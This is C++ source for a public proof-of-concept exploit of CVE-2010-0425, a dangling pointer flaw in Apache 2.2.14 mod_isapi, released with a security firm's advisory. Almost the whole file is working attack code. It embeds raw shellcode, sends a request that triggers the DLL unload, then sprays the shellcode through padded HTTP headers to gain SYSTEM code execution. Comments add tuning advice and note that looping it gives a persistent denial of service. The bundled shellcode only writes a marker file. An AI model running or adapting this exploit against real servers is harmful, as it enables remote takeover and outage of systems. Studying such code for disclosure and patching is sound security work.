/*
 * Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit (CVE-2010-0425)
 * ------------------------------------------------------------------------------
 *
 * Advisory: https://www.senseofsecurity.com.au/advisories/SOS-10-002
 * 
 * Description:
 * pwn-isapi.cpp exploits a dangling pointer vulnerabilty in Apache 2.2.14 mod_isapi.
 * Due to the nature of the vulnerability, and exploitation method, DEP should be limited to essential 
 * Windows programs and services. At worst, if DEP is enabled for the Apache process, you could cause 
 * a constant DoS by looping this (since apache will automatically restart) :)
 *
 * Note that the exploit code may need to be run multiple times before a shell is spawned (70%
 * success rate - tested on three different systems). Furthermore, the exploit code may require 
 * modification to exploit this vulnerability on different platforms. This is due to loaded memory 
 * references to the unloaded DLL (they will be different for each ISAPI module). Do not test
 * this code in a VM otherwise the code may fail to send the RESET packet (something to do with
 * VMware gracefully closing the connection, instead of sending a RESET packet) - I didnt want
 * to have to use raw packets on Windows. 
 *
 * Shellcode Note: 
 * The shellcode writes "pwn-isapi" to "sos.txt" which is created in the current working directory. 
 * Most operating systems should be supported by this shellcode. I've used Skylined's method of finding
 * the base address of kernel32.dll for Windows 7 and modified it so that it will find the base 
 * address of msvcrt.dll instead. I've also added another check so that it will be able to detect
 * "msvcrt.dll" on Windows Server 2003 (this OS loads msvcrt.dll in 5th position, and before this
 * DLL string is read, another DLL (RPCRT4.dll) length is verifiied which matches the length of 
 * msvcrt.dll. So the added check will verify the presents of "m" before proceeding. 
 *
 * Author: 
 * Brett Gervasoni (brettg [at] senseofsecurity.com.au)
 *
 * Copyright Sense of Security Pty Ltd 2010. 
 * https://www.senseofsecurity.com.au
 */

#include <iostream>
#include <windows.h>
#include <winsock.h>
#include <string>
#include <direct.h>

#pragma comment(lib, "wsock32.lib")

using namespace std;

#define SERVER_PORT 80

void header();
int createConnection(string targetAddr, int targetPort);
int sendTransmission(string message);
string recvTransmission();
void cleanUp();

WORD sockVersion;
WSADATA wsaData;

int sock;
struct sockaddr_in rserver;

int main(int argc, char *argv[])
{
  string serverIP, isapiDLL;
  string triggerVuln, payload;
  char accept[171], referer[733], cookie[5376], random[7604], postData[23379], footer[299];

  //custom shellcode that writes "pwn-isapi" to "sos.txt" in the current working directory
  //Note: There are four NOPs at the end for padding. Not really needed. 
  char shellcode[] = "\x31\xc0\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x56\x08\x8b"
             "\x7e\x20\x8b\x36\x66\x39\x4f\x14\x75\xf2\x66\xb9\x01\x6d\x66\x81\xe9\x94"
             "\x6c\x66\x39\x0f\x66\x89\xc1\x75\xe1\x89\xe5\xeb\x71\x60\x8b\x6c\x24\x24"
             "\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3"
             "\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1"
             "\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66"
             "\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61"
             "\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x66\x81\xc4\x0c\x01\x66\x81"
             "\xec\x04\x01\x66\x81\xc7\x08\x01\x66\x81\xef\x04\x01\x39\xce\x75\xde\xc3"
             "\xeb\x10\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8\xcd\xff\xff\xff\xeb\x3b"
             "\xe8\xeb\xff\xff\xff\x6e\x7c\x2e\xe1\x1e\x3c\x3f\xd7\x74\x1e\x48\xcd\x31"
             "\xd2\x58\x88\x50\x07\xeb\x2f\x31\xd2\x59\x88\x51\x01\xeb\x2e\x51\x50\xff"
             "\x55\x04\xeb\x2c\x31\xd2\x59\x88\x51\x09\xeb\x33\x51\x50\x89\xc6\xff\x55"
             "\x08\x53\xff\x55\x0c\xe8\xd1\xff\xff\xff\x73\x6f\x73\x2e\x74\x78\x74\x4e"
             "\xe8\xcc\xff\xff\xff\x77\x4e\xe8\xcd\xff\xff\xff\xe8\xcf\xff\xff\xff\x70"
             "\x77\x6e\x2d\x69\x73\x61\x70\x69\x4e\xe8\xc8\xff\xff\xff\x90\x90\x90\x90";

  header();

  if (argc < 3)
  {
    printf("usage: %s <ip> <DLL>\n", argv[0]);
    return 1;
  }

  serverIP = string(argv[1]);
  isapiDLL = string(argv[2]);

  //all these values could be set to 7601 + sizeof(shellcode)
  //but mixing it up is good. 
  memset(accept, 'A', 170);
  memset(referer, 'A', 732);
  memset(cookie, 'A', 5375);
  memset(random, 'A', 7603);
  memset(postData, 'A', 23378);
  memset(footer, 'A', 298);

  triggerVuln = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
    "User-Agent: AAAAAAAA\r\n"
    "Pragma: no-cache\r\n"
    "Proxy-Connection: Keep-Alive\r\n"
    "Host: " + serverIP + "\r\n"
    "Content-Length: 40334\r\n\r\n" +
    string(footer);

  //Modify the below request if needed (depending on where your function pointer is pointing)
  //Do so by adding or removing headers. So if you want to hit a higher function pointer, 
  //keep adding headers :) 
  //Note: If performing this blindly, try it a few times, change a bit, try again. 
  //During testing i found that using a chunk of data the same size with the same header name
  //was more unreliable. In memory, large amounts of nulls are being placed either side of the 
  //payload. Since the function pointer address was random, by slightly mixing up the size of 
  //each header i would get better results.
  payload = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
    "Accept: " + string(accept) + "\r\n"
    "Referer: " + string(referer) + string(shellcode) + "\r\n"
    "From: " + string(cookie) + string(shellcode) + "\r\n"
    "Utruvh-guiergher: " + string(cookie) + string(shellcode) + "\r\n"
    "Accept-Language: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
    "Content-Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
    "UA-CPU: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
    "Pragma: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
    "User-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
    "Cookie: " + string(cookie) + string(shellcode) + "\r\n"
    "Host: " + serverIP + "\r\n"
    "Proxy-Connection: Keep-Alive\r\n"
    "Okytuasd: " + string(cookie) + string(shellcode) + "\r\n"
    "Asdasdasdasdasd: " + string(random) + string(shellcode) + "\r\n"
    "Asdasda: " + string(random) + string(shellcode) + "\r\n"
    "Sewrwefbui: " + string(random) + string(shellcode) + "\r\n"
    "Qdfasdernu: " + string(random) + string(shellcode) + "\r\n"
    "Cdffew-asdf: " + string(random) + string(shellcode) + "\r\n"
    "Kuiytnb-Ehrf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
    "Lsfergjnuibubiu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
    "Baefrwerifnhu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
    "Zdsfno: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
    "Psdfsafn: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
    "Zefwefnuivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
    "Ivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
    "Yvasde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
    "Yuionbsdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
    "Yasdasdasdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
    "asdasdde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
    "Ertuioert-erf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
    "Content-Length: 25054\r\n\r\n" + 
    string(postData) + "CCCC" + string(shellcode) + "BBBB" + string(footer);

  //Setup connection
  if (createConnection(serverIP, SERVER_PORT) == 1)
  {
    printf("- an error occurred connecting to the server\n");
    return 1;
  }

  printf("[+] Connected to %s.\n", serverIP.c_str());

  printf("[+] Setting socket data structure values\n");
  int iOptVal;
  int aiOptVal;
  
  struct linger linger_data;
  
  //This is meant to set closesocket to do a "graceful close",
  //however this is not the case when WSACancelBlockingCall() is called. A RESET packet is 
  //sent as a result - Note that if in a vm, for some reason a RESET packet does not get sent. 
  linger_data.l_onoff = 0;
  linger_data.l_linger = 0;

  setsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, sizeof(linger_data));
  setsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, sizeof(linger_data));

  //Set SO_LINGER to 0 so WSACancelBlockingCall() will cause a RESET packet to be sent
  getsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, &iOptVal);
  getsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, &aiOptVal);
  printf("    - SO_LINGER value is set to %ld\n", linger_data.l_onoff);
  printf("    - SO_DONTLINGER value is set to %ld\n", linger_data.l_linger);
  
  printf("[*] Triggering DLL unload\n");
  sendTransmission(triggerVuln);

  Sleep(2000); //Sleep for a bit, otherwise on first run a RESET packet doesn't get sent. 
  WSACancelBlockingCall(); //Cause reset packet response

  Sleep(2000); //The multiple Sleeps seem to break up stuff a bit, making it more reliable...
  closesocket(sock);

  Sleep(2000);
  WSACleanup();
  
  Sleep(2000);
  printf("[+] The DLL should be unloaded by now\n");
  
  //Reconnect to deliver payload
  if (createConnection(serverIP, SERVER_PORT) == 1)
  {
    printf("- an error occurred connecting to the server\n");
    return 1;
  }
  
  printf("[*] Sending payload\n");
  sendTransmission(payload);

  cleanUp();

  printf("[+] Check to see if sos.txt was created...\n");

  return 0;
}

void header()
{
  printf("Apache 2.2.14 mod_isapi Remote SYSTEM Exploit (CVE-2010-0425)\n");
  printf("-------------------------------------------------------------\n");
  printf("         Brett Gervasoni (brettg [at] senseofsecurity.com.au)\n");
  printf("                    Copyright Sense of Security Pty Ltd 2010.\n");
}

//Setup the server
int createConnection(string serverIP, int port)
{
  int result = 0, len = 0;

  sockVersion = MAKEWORD(1,1);
  WSAStartup(sockVersion, &wsaData);
  
  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  {
    perror("error: socket()\n");
    result = 1;
  }

  rserver.sin_family = AF_INET;
  rserver.sin_port = htons(port);
  rserver.sin_addr.s_addr = inet_addr(serverIP.c_str());
  memset(&rserver.sin_zero, 0, 8);

  len = sizeof(struct sockaddr_in);
  
  if ((connect(sock, (struct sockaddr *)&rserver, sizeof(struct sockaddr_in))) == -1)
  {
    perror("error: connect()\n");
    result = 1;
  }

  return result;
}

//Send a message
int sendTransmission(string message)
{
  int bytes_sent = 0;

  bytes_sent = send(sock, message.c_str(), message.length(), 0);
  if (bytes_sent < 0)
  {
    perror("error: send()\n");
    exit(1);
  }
  
  return bytes_sent;
}

//Receive a message
string recvTransmission()
{
  string result;
  char *c = new char[1];
  int bytes_recv = 0;

  while (c[0] != NULL)
  {
    bytes_recv = recv(sock, c, 1, 0);

    if (bytes_recv < 0)
    {
      perror("error: recv()\n");
      //exit(1);
    }

    result += c[0];
  }

  return result;
}

//Clean up the connection
void cleanUp()
{
  closesocket(sock);
  WSACleanup();
}